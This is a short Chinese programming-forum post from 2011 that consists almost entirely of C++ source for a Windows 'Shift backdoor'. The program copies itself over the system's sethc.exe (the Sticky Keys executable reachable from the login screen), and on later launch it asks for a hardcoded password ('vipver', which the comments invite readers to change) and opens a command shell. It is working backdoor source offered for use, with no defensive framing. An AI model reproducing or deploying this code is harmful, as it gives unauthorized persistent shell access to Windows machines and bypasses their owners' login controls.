注册 登录
编程论坛 C++教室

大家来看看这个后门源码……

duskfateair 发布于 2011-01-23 10:55, 303 次点击
#include<iostream>
#include<windows.h>
#include<string>
using namespace std;
int main()
{
   void zhuanhuan(char *p); //函数声明 转换大写为小写的函数
   char buf[255];   
   GetModuleFileName(0,buf,256); //调用api复制自己替换ethc.exe文件
   cout<<buf<<endl;
   zhuanhuan(buf);
   if(string(buf)!=string("c:\\windows\\system32\\sethc.exe"))
   {
       cout<<"复制"<<endl;
       CopyFile(buf,"c:\\windows\\system32\\sethc.exe",NULL);
       cout<<"\n\n\t\t\t\tShift后门安装成功"<<endl;
       system("pause");
       return 0;
   }
   string pass;
         cout<<"\n\t\t\t\t 请输入密码:";
   cin>>pass;
   if(pass=="vipver")   //这的vipver是密码,可自己修改!
    system("cmd");
   else
    cout<<"\n\n非法用户,系统授权失败,请联系盖茨!"<<endl;
   return 0;
}
void zhuanhuan(char *p)
{
   while(*p)
   {
    if(*p>='A'&& *p<='Z')
     *p+=32;
    ++p;
   }
}
0 回复
1